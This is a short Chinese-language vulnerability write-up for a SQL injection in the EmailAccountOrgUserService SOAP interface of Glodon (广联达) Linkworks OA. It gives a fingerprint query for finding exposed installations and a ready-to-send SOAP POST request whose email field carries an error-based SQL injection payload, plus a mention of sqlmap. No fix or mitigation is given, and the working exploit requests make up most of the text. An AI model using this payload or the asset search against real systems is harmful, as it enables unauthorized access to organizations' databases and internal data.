广联达OA EmailAccountOrgUserService SQL注入漏洞
一、漏洞简介
广联达办公OA（Office Automation）是一款综合办公自动化解决方案，旨在提高组织内部的工作效率和协作能力。它提供了一系列功能和工具，帮助企业管理和处理日常办公任务、流程和文档。由于广联达 Linkworks办公OA EmailAccountOrgUserService接口未对用户的输入进行有效的过滤，直接将其拼接进了SQL查询语句中，导致系统出现SQL注入漏洞。
二、影响版本
- 广联达办公OA
三、资产测绘
- app.name="广联达 OA"
- 登录页面
四、漏洞复现
POST /Mail/Services/EmailAccountOrgUserService.asmx HTTP/1.1
Host:
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://tempuri.org/GetUserInfosByEmail"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetUserInfosByEmail xmlns="http://tempuri.org/">
<email>') AND 3515 IN (SELECT (CHAR(113)+CHAR(107)+CHAR(107)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (3515=3515) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(122)+CHAR(113))) AND ('ShLa'='ShLa</email>
</GetUserInfosByEmail>
</soap:Body>
</soap:Envelope>
qkkkq1qjpzqsqlmap
POST /Mail/Services/EmailAccountOrgUserService.asmx HTTP/1.1
Host:
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://tempuri.org/GetUserInfosByEmail"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetUserInfosByEmail xmlns="http://tempuri.org/">
<email>1</email>
</GetUserInfosByEmail>
</soap:Body>
</soap:Envelope>